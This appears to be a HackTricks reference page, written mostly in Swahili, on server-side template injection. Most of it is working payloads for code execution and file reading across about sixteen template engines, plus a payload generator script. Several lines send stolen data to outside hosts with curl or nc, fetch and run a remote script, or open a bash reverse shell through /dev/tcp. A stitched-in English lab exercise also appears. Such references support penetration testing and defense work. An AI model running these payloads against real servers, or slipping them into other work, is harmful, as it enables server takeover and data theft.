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SSTI (Uingizaji wa Kigeuzi wa Upande wa Seva)

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Ikiwa unataka kuona kampuni yako ikionekana katika HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA KUJIUNGA!
Pata bidhaa rasmi za PEASS & HackTricks
Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.

RootedCON ni tukio muhimu zaidi la usalama wa mtandao nchini Hispania na moja ya muhimu zaidi barani Ulaya. Kwa ** lengo la kukuza maarifa ya kiufundi**, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila nidhamu.

{% embed url="https://www.rootedcon.com/" %}

Ni nini SSTI (Uingizaji wa Kigeuzi wa Upande wa Seva)

Uingizaji wa kigeuzi wa upande wa seva ni udhaifu unapotokea wakati muhusika anaweza kuingiza nambari yenye nia mbaya katika kigeuzi kinachotekelezwa kwenye seva. Udhaifu huu unaweza kupatikana katika teknolojia mbalimbali, ikiwa ni pamoja na Jinja.

Jinja ni injini maarufu ya kigeuzi inayotumiwa katika maombi ya wavuti. Hebu tuchunguze mfano unaodhihirisha kificho dhaifu kutumia Jinja:

output = template.render(name=request.args.get('name'))

Katika msimbo huu wenye mapungufu, parameter ya name kutoka kwa ombi la mtumiaji inapitishwa moja kwa moja kwenye kigezo kwa kutumia kazi ya render. Hii inaweza kuruhusu mshambuliaji kuingiza msimbo wenye nia mbaya kwenye parameter ya name, ikisababisha kutokea kwa uthibitishaji wa kigezo upande wa seva.

Kwa mfano, mshambuliaji anaweza kutengeneza ombi lenye mzigo kama huu:

http://vulnerable-website.com/?name={{bad-stuff-here}}

Payload ya {{bad-stuff-here}} imeingizwa kwenye parameter ya name. Payload hii inaweza kuwa na maelekezo ya templeti ya Jinja ambayo inamruhusu muhusika kutekeleza nambari isiyo halali au kubadilisha injini ya templeti, hivyo kupata udhibiti wa seva.

Ili kuzuia udhaifu wa kuingiza templeti upande wa seva, waendelezaji wanapaswa kuhakikisha kuwa mwingiliano wa mtumiaji unasafishwa na kuthibitishwa ipasavyo kabla ya kuingizwa kwenye templeti. Kutekeleza ukaguzi wa mwingiliano na kutumia mbinu za kuepuka kulingana na muktadha kunaweza kusaidia kupunguza hatari ya udhaifu huu.

Uchunguzi

Kutambua Kuingiza Templeti Upande wa Seva (SSTI), kwanza, kufanya majaribio ya templeti ni njia rahisi. Hii inahusisha kuingiza mfululizo wa herufi maalum (${{<%[%'"}}%\) kwenye templeti na kuchambua tofauti katika majibu ya seva kati ya data ya kawaida na payload maalum hii. Viashiria vya udhaifu ni pamoja na:

Kutoa makosa, kufunua udhaifu na labda injini ya templeti.
Kutokuwepo kwa payload katika kioo, au sehemu zake kukosekana, ikimaanisha seva inaprocess tofauti kuliko data ya kawaida.
Muktadha wa Nakala Ndogo: Tofautisha na XSS kwa kuangalia ikiwa seva inahesabu maelezo ya templeti (k.m., {{7*7}}, ${7*7}).
Muktadha wa Nambari: Thibitisha udhaifu kwa kubadilisha vigezo vya mwingiliano. Kwa mfano, kubadilisha greeting katika http://tovuti-isio-salama.com/?greeting=data.username kuona ikiwa matokeo ya seva ni ya kudumu au yanabadilika, kama vile greeting=data.username}}hello kurudisha jina la mtumiaji.

Hatua ya Kutambua

Kutambua injini ya templeti kunahusisha kuchambua ujumbe wa makosa au kufanya majaribio ya mwongozo wa lugha mbalimbali. Payload za kawaida zinazosababisha makosa ni pamoja na ${7/0}, {{7/0}}, na <%= 7/0 %>. Kuchunguza majibu ya seva kwa shughuli za hisabati husaidia kugundua injini maalum ya templeti.

Zana

TInjA

skana ya SSTI + CSTI yenye ufanisi inayotumia polyglots mpya

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Mwongozo wa Uingizaji wa Kiolesura cha Mtumiaji

meza ya kuingiliana inayoonyesha polyglots ya uingizaji wa templeti yenye ufanisi zaidi pamoja na majibu yanayotarajiwa ya injini 44 muhimu zaidi za templeti.

Kudhibiti

Kijumla

Katika orodha ya maneno hii unaweza kupata vibadilishaji vilivyofafanuliwa katika mazingira ya baadhi ya injini zilizotajwa hapa chini:

Java

Java - Uingizaji wa Msingi

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Pata mazingira ya mfumo

${T(java.lang.System).getenv()}

Java - Pata /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Unaweza jaribu payloads zako kwenye https://try.freemarker.apache.org

{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} Nothing
${foobar}

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Kizuizi la Sandbox

⚠️ inafanya kazi tu kwenye toleo la Freemarker chini ya 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Maelezo zaidi

Katika sehemu ya FreeMarker ya https://portswigger.net/research/server-side-template-injection
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Maelezo zaidi

Katika sehemu ya Velocity ya https://portswigger.net/research/server-side-template-injection
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity

Thymeleaf

Katika Thymeleaf, jaribio la kawaida la kutambua udhaifu wa SSTI ni uchambuzi ${7*7}, ambao pia unatumika kwa injini hii ya kigezo. Kwa utekelezaji wa nambari mbali mbali kwa mbali, uchambuzi kama huu unaweza kutumika:

SpringEL:

${T(java.lang.Runtime).getRuntime().exec('calc')}

OGNL:

${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf inahitaji uchambuzi huu kuwekwa ndani ya sifa maalum. Hata hivyo, uchambuzi wa ndani unatambuliwa kwa maeneo mengine ya kigezo, kwa kutumia sintaksia kama [[...]] au [(...)]. Hivyo, uchambuzi rahisi wa jaribio la SSTI unaweza kuonekana kama [[${7*7}]].

Hata hivyo, uwezekano wa uchambuzi huu kufanya kazi kwa ujumla ni mdogo. Mipangilio ya msingi ya Thymeleaf haisaidii uundaji wa kigezo cha kudumu; mifano lazima iwe tayari. Watengenezaji wangepaswa kutekeleza TemplateResolver yao wenyewe ili kuunda mifano kutoka kwa herufi kwa wakati halisi, jambo ambalo si la kawaida.

Thymeleaf pia inatoa uchambuzi wa awali wa uchambuzi, ambapo uchambuzi ndani ya mstari wa chini (__...__) unapitiwa awali. Kipengele hiki kinaweza kutumika katika ujenzi wa uchambuzi, kama ilivyoonyeshwa katika nyaraka za Thymeleaf:

#{selection.__${sel.code}__}

Mfano wa Udhaifu katika Thymeleaf

Zingatia sehemu ifuatayo ya nambari, ambayo inaweza kuwa rahisi kwa shambulizi:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Hii inaonyesha kwamba ikiwa injini ya templeti inachakata vipimo hivi vibaya, inaweza kusababisha utekelezaji wa nambari kwa mbali kupata URL kama:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Maelezo zaidi

https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Kupita kwenye vichujio

Inaweza kutumika mchanganyiko wa maneno ya kipekee, ikiwa ${...} haifanyi kazi jaribu #{...}, *{...}, @{...} au ~{...}.

Soma /etc/passwd

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

Skripti ya kubuni mzigo wa payload

#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Maelezo Zaidi

Ubadilishaji wa Mwangaza wa Spring (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

https://github.com/veracode-research/spring-view-manipulation

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Pebble (Java)

{{ someString.toUPPERCASE() }}

Toleo la zamani la Pebble ( < toleo 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Toleo jipya la Pebble:

{% raw %}
{% set cmd = 'id' %}
{% endraw %}




{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava ni mradi wa chanzo wazi ulioendelezwa na Hubspot, unapatikana kwenye https://github.com/HubSpot/jinjava/

Jinjava - Utekelezaji wa Amri

Imesuluhishwa na https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Maelezo zaidi

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava

Hubspot - HuBL (Java)

{% %} mizizi ya taarifa
{{ }} mizizi ya maelezo
{# #} mizizi ya maoni
{{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
{{'a'.toUpperCase()}} - "A"
{{'a'.concat('b')}} - "ab"
{{'a'.getClass()}} - java.lang.String
{{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
{{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Tafuta "com.hubspot.content.hubl.context.TemplateContextRequest" na ugundue mradi wa Jinjava kwenye Github.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Maelezo zaidi

https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html

Expression Language - EL (Java)

${"aaaa"} - "aaaa"
${99999+1} - 100000.
#{7*7} - 49
${{7*7}} - 49
${{request}}, ${{session}}, {{faceContext}}

Lugha ya Uelekezaji (EL) ni kipengele muhimu kinachorahisisha mwingiliano kati ya safu ya uwasilishaji (kama kurasa za wavuti) na mantiki ya programu (kama maboga yaliyosimamiwa) katika JavaEE. Inatumika sana katika teknolojia nyingi za JavaEE kusaidia mawasiliano haya. Teknolojia muhimu za JavaEE zinazotumia EL ni pamoja na:

JavaServer Faces (JSF): Inatumia EL kuunganisha vipengele katika kurasa za JSF na data na hatua za nyuma zinazofanana.
JavaServer Pages (JSP): EL hutumiwa katika JSP kwa kupata na kubadilisha data ndani ya kurasa za JSP, ikifanya iwe rahisi kuunganisha vipengele vya ukurasa kwenye data ya programu.
Muktadha na Uingizaji wa Mahitaji kwa Java EE (CDI): EL inaunganisha na CDI kuruhusu mwingiliano laini kati ya safu ya wavuti na maboga yaliyosimamiwa, ikisimamia muundo wa programu zaidi kwa umakini.

Angalia ukurasa ufuatao kujifunza zaidi kuhusu utumiaji wa waendeshaji wa EL:

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Groovy (Java)

Mipito ya Usimamizi wa Usalama ifuatayo ilitolewa kutoka kwenye makala hii.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

RootedCON ni tukio muhimu zaidi la usalama wa mtandao nchini Hispania na moja ya muhimu zaidi barani Ulaya. Kwa lengo la kukuza maarifa ya kiufundi, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila nidhamu.

{% embed url="https://www.rootedcon.com/" %}

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Maelezo zaidi

Twig (PHP)

{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error
{{foobar}} Nothing

#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Muundo wa templeti

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Maelezo zaidi

Katika sehemu ya Twig na Twig (Sandboxed) ya https://portswigger.net/research/server-side-template-injection
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig

Plates (PHP)

Plates ni injini ya templeti asilia ya PHP, ikichota msukumo kutoka kwa Twig. Hata hivyo, tofauti na Twig, ambayo inaleta sintaksia mpya, Plates inatumia msimbo wa asilia wa PHP katika templeti, hivyo kuifanya iwe rahisi kwa watengenezaji wa PHP.

Msimamizi:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Muundo wa Ukurasa:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Muundo wa kigeuzi:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Maelezo zaidi

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates

PHPlib na HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB ni sawa na PHPlib lakini imehamishwa kwa Pear.

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

SSTI (Server-Side Template Injection)

Description

In this lab, you will learn how to identify and exploit Server-Side Template Injection (SSTI) vulnerability in a web application. SSTI occurs when an application allows user input to be evaluated as a template on the server-side. This can lead to remote code execution and a full compromise of the server.

Objective

Find and exploit the SSTI vulnerability in the authors.php page to display the contents of the /etc/passwd file.

Instructions

Open the authors.php page in your browser.
Analyze the page to identify where user input is being used in a template.
Craft a payload to exploit the SSTI vulnerability and display the contents of the /etc/passwd file.
Document the steps and the payload used to achieve the objective.

Happy hacking!

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Maelezo zaidi

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')

#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Maelezo zaidi

patTemplate (PHP)

patTemplate injini ya templeti ya PHP isiyokusanya, ambayo hutumia vitambulisho vya XML kugawa hati katika sehemu tofauti.

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Maelezo zaidi

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate

Handlebars (NodeJS)

Ufuatiliaji wa Njia (maelezo zaidi hapa).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'

= Kosa
${7*7} = ${7*7}
Hakuna

{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Maelezo zaidi

http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html

JsRender (NodeJS)

Kigezo	Maelezo
	Thibitisha na toa matokeo
	Thibitisha na toa matokeo yaliyofungwa kwenye HTML
	Maoni
na	Ruhusu nambari (imelemazwa kwa chaguo-msingi)

= 49

Upande wa Mteja

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Upande wa Server

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Maelezo zaidi

https://appcheck-ng.com/template-injection-jsrender-jsviews/

PugJs (NodeJS)

#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Mfano wa upande wa seva

var pugjs = require('pug');
home = pugjs.render(injected_page)

Maelezo zaidi

https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/

NUNJUCKS (NodeJS)

{{7*7}} = 49
{{foo}} = Hakuna matokeo
#{7*7} = #{7*7}
{{console.log(1)}} = Kosa

{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}

Maelezo zaidi

http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine

ERB (Ruby)

{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Error

<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Maelezo zaidi

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby

Slim (Ruby)

{ 7 * 7 }

{ %x|env| }

Maelezo zaidi

